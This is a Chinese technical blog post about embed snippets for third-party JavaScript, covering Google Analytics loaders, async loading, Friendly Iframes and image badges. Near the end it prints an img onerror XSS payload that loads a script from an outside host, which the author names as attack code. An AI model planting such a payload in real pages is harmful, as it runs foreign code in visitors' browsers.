MZhou's blog

第三方Javascript开发系列之投放代码

在Web网页开发中有一个有意思的分支,既第三方Javascript脚本的开发。所谓第三方Javascript脚本,就是第三方服务商将自己的服务通过“HTML投放代码”的形式提供给网站使用。由于Javascript的动态特性,一般的第三方服务都会直接或间接的提供Javascript文件给网站页面加载。

tmp1

投放代码与异步加载

本文先从第三方Javascript脚本的重要组成部分“投放代码”讲起。先从一个最例子看起:Google Analytics(以下简称GA),是Google提供的用于网站监测等一系列功能的服务。网站开发者将GA提供的投放代码放到自己网站上需要监测的页面(一般是全站添加)。

<!-- Google Analytics -->
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->

以上是GA压缩过后的投放代码,可能看起来不是很明显。这里美化一下,看起来会容易些,如下:

<!-- Google Analytics -->
<script>
/**
 * Creates a temporary global ga object and loads analytics.js.
 * Parameters o, a, and m are all used internally. They could have been
 * declared using 'var', instead they are declared as parameters to save
 * 4 bytes ('var ').
 *
 * @param {Window}        i The global context object.
 * @param {HTMLDocument}  s The DOM document object.
 * @param {string}        o Must be 'script'.
 * @param {string}        g Protocol relative URL of the analytics.js script.
 * @param {string}        r Global name of analytics object. Defaults to 'ga'.
 * @param {HTMLElement}   a Async script tag.
 * @param {HTMLElement}   m First script tag in document.
 */
(function(i, s, o, g, r, a, m){
  i['GoogleAnalyticsObject'] = r; // Acts as a pointer to support renaming.
  // Creates an initial ga() function.
  // The queued commands will be executed once analytics.js loads.
  i[r] = i[r] || function() {
    (i[r].q = i[r].q || []).push(arguments)
  },
  // Sets the time (as an integer) this tag was executed.
  // Used for timing hits.
  i[r].l = 1 * new Date();
  // Insert the script tag asynchronously.
  // Inserts above current tag to prevent blocking in addition to using the
  // async attribute.
  a = s.createElement(o),
  m = s.getElementsByTagName(o)[0];
  a.async = 1;
  a.src = g;
  m.parentNode.insertBefore(a, m)
})(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');
// Creates a default tracker with automatic cookie domain configuration.
ga('create', 'UA-XXXXX-Y', 'auto');
// Sends a pageview hit from the tracker just created.
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->

其实做的事情很简单:创建一个script标签,设置其src值为GA的第三方Javascript地址。然后插到页面的DOM树中,再初始化ga的配置。这样来实现浏览器“异步”加载第三方Javascript的功能。之所以采用异步实现,是为了不block掉页面正常的逻辑。这也是在开发第三方脚本时很重要的一个要求:

不影响页面原有功能

投放代码的形式有很多种,上面提到的最常见一些。GA其实还提供了另一种投放代码,如下:

<!-- Google Analytics -->
<script>
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<script async src='//www.google-analytics.com/analytics.js'></script>
<!-- End Google Analytics -->

GA的官方文档里面说明了:如果开发者的网站主要服务的用户较大比例使用高级浏览器(Chrome,IE11及以上)或者移动端浏览器占比较大那么推荐使用这种形式的投放代码。为什么呢?

首先从浏览器的加载执行顺序开始说起。之前已经说到前一种形式是使用JS来动态创建script标签以实现异步加载外链的JS代码,这样可以不Block掉页面。这是它的巨大优势,但是同时也带来了一个劣势。

<link href="http://example.com/test.css?rtt=2" rel="stylesheet">
<!-- body 内容 -->
<script>
    var script = document.createElement('script');
    script.src = "http://example.com/test.js?rtt=1&a";
    document.getElementsByTagName('head')[0].appendChild(script);
</script>

<script>
    var script = document.createElement('script');
    script.src = "http://example.com/test.js?rtt=1&b";
    document.getElementsByTagName('head')[0].appendChild(script);
</script>

上述代码中动态加载两份不同的Javascript代码,虽然使用了异步加载Trick,但是实际浏览器下载的过程是这样的:

tmp2

因为Javascript可以操作CSSOM,所以浏览器在加载Javascript的时候需要等到CSS完全加载解析完毕之后才能执行 script 标签中的Javascript。再看下面的代码:

<link href="http://example.com/test.css?rtt=2" rel="stylesheet">
<!-- body 内容 -->
<script src="http://example.com/test.js?rtt=1&a"></script>
<script src="http://example.com/test.js?rtt=1&b" ></script>

上述代码,浏览器是并行下载CSS文件和Javascript文件的,如下图:

tmp3

现代浏览器(包括 IE8/9 和 Android 2.3/2.2)会预解析查找可以下载的外部文件,并行下载并保持执行不变。不过浏览器无法通过解析HTML来识别动态创建的外链JS地址,所以也无法预下载它们。同时现代浏览器提供了async属性,浏览器会异步的加载async的外链script标签,不会block掉页面(但不保证执行顺序)。这就同时享受到了预下载和异步加载两个福利,带来巨大的性能提升。所以对于使用现代浏览器用户多的网站更推荐使用这种方式。

静态与动态

大部分第三方服务是使用CDN来承载自己的外链JS脚本,比如GA。也有一部分是使用动态server(例如PHP服务器)来生成外链的JS脚本,它的优势在于针对不同的开发者提供不同的代码,免去了初始个性化数据的获取请求。例如:

<script src="http://thirdsparty.com/service.js?userid=1234567 />

服务器会根据userid来生成专供指定开发者网站的代码。这些代码里面通常带有其个性化的配置数据,这样减少了一次配置数据的请求,大大提前了代码执行的时间点。

当然这样也是有缺点的,最重要的一点就是比较难利用CDN加速。大部分CDN通常根据文件名来缓存静态文件,即使把Javascript脚本改成“service_1234567.js”的形式缓存到CDN上,最后也会因为文件太多导致脚本更新困难的问题。

除此之外,有些开发者因为安全隐私等原因喜欢将Javascript脚本放在自己的服务器上,然后手动更新。这种情况,动态服务器生成的脚本就比较难满足这个小众需求了。

另外因为CDN不能使用,所以当动态服务器不稳定时,容易导致加载javascript脚本的时间特别长。虽然可以使用异步加载,但是浏览器在加载东西的时候左上角还是会出现loading。普通用户可以感知到页面还没有加载完成。这会让用户很困惑:“页面都已经展现,可为什么浏览器还在展现,到底在做什么请求呢?”

甚至会影响到网站本身的业务。因为单个浏览器标签同时下载的连接数有限制,导致其他网页原本的请求被Block掉。

Friendly Iframe

为了解决这个问题,meebo的工程师们想到了一个用Friendly Iframe来解决js加载时候的问题。所谓Friendly Iframe即是iframe的domian和其所在主页面的domain是相同的。例子如下:

(function(url){
  // 第一部分
  var dom,doc,where,iframe = document.createElement('iframe');
  iframe.src = "javascript:false";
  iframe.title = ""; iframe.role="presentation";  // a11y
  (iframe.frameElement || iframe).style.cssText = "width: 0; height: 0; border: 0";
  where = document.getElementsByTagName('script');
  where = where[where.length - 1];
  where.parentNode.insertBefore(iframe, where);

  // 第二部分
  try {
    doc = iframe.contentWindow.document;
  } catch(e) {
    // IE下如果主页面修改过document.domain,那么访问用js创建的匿名iframe会发生跨域问题,必须通过js伪协议修改iframe内部的domain
    dom = document.domain;
    iframe.src="javascript:var d=document.open();d.domain='"+dom+"';void(0);";
    doc = iframe.contentWindow.document;
  }
  doc.open()._l = function() {
    var js = this.createElement("script");
    if(dom) this.domain = dom;
    js.id = "js-iframe-async";
    js.src = url;
    this.body.appendChild(js);
  };
  doc.write('<body onload="document._l();">');
  doc.close();
})('http://some.site.com/script.js');

上述代码分为两个部分:

  1. 创建了一个隐藏的Friendly Iframe然后插入到主页面中
  2. 在iframe onload之后加载javascript脚本

这样加载Javascript,浏览器就不会出现loading,提升普通用户的体验。当然这还有一个附带的好处,第三方的Javascript代码在独立的iframe中运行,不会与主页面中的JS相互干扰。毕竟即使现在还是有不少小众网站会选择扩展Native对象的方法。作者本人就遇到过有网站开发者修改Array.prototype.push方法的情况。

当然这有方法还是有缺陷的:投放代码本身太过复杂,网页开发者在实际使用时容易有问题。个人推荐的做法是:如何加载是网站开发者来决定的事情,第三方Javascript脚本应该要支持能想得到的各种奇技淫巧。美国互动广告局(The Interactive Advertising Bureau,简称IAB)提出过一个异步加载广告代码的Best Practice。里面提到了用变量 inDapIF 作为标志,提示Javascript脚本在动态iframe内部执行。所以我们可以用如下方法来判断:

var GLOBAL = window;
if (window.parent !== window && window['inDapIF']) {
    GLOBAL = window.parent;
}

// 使用GLOBAL替代window
// TODO

其他类型的投放代码

有些第三方服务不需要直接获取页面的数据,它们只需要有展示自己内容的区域即可,比如:

<iframe height='300' scrolling='no' src='//codepen.io/zmmbreeze/embed/vLbpa/?height=300&theme-id=20219&default-tab=css,result&embed-version=2' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'>See the Pen <a href='http://codepen.io/zmmbreeze/pen/vLbpa/'>DOWN-TO-THE-LINE control for radical web typography</a> by mzhou (<a href='http://codepen.io/zmmbreeze'>@zmmbreeze</a>) on <a href='http://codepen.io'>CodePen</a>.
</iframe>

因为使用了不同域名下的iframe,所以是在隔离环境内运行第三方代码。这样第三方代码就不会和开发者站点的代码冲突。而且因为域名不同,天然提供安全性的保障,第三方代码不能获取或修改开发者站点的重要信息。缺点也很明显:就是能做的事情仅限于iframe内部。比较适合不需要访问页面就可以提供内容的需求。

自从Web 2.0开始,UGC类型的网站越来越多,用户可以自主黏贴文字甚至是HTML代码到网站中去,例如社交网站的简介。所以有的时候第三方服务的使用者并直接是网站开发者,而是网站的用户。网站为了安全一般不会让用户直接贴script表情或者是iframe等特殊HTML标签。所以有些第三方服务提供的投放代码仅仅是一个img标签,将需要展示的内容放在图片中。如果你经常浏览github,你会发现有个集成测试的工具叫做Travis CI。它提供了一段投放代码用于展示开源库的测试状态,如下:

<img src="https://travis-ci.org/zmmbreeze/lining.js.svg?branch=master"/>

至此头脑较为发散的同学可能已经想到如下的投放代码了:

<img src="#" onerror="(function (d) {var s = d.createElement('script');s.src='http://bqq.gtimg.com/da/i.js';d.getElementsByTagName('head')[0].appendChild(s);})(document)" />

虽然这是一段典型的XSS攻击代码,但是它也可以称得上是一种投放代码......

最后说明下:这里没有提到用new Image().src方式(或者其他类似手段)来达到预先异步下载Javascript文件的目的,然后利用了浏览器缓存再次实际下载Javascript文件的时候就直接从缓存里面拉取的方式。因为第三方的Javascript代码基本为了保持文件及时更新,都不会设置很长的缓存,甚至没有缓存。所以这些方法不再讨论的行列里面。

MZhou's blog - Taste of life.

zmmbreeze / @zhoumm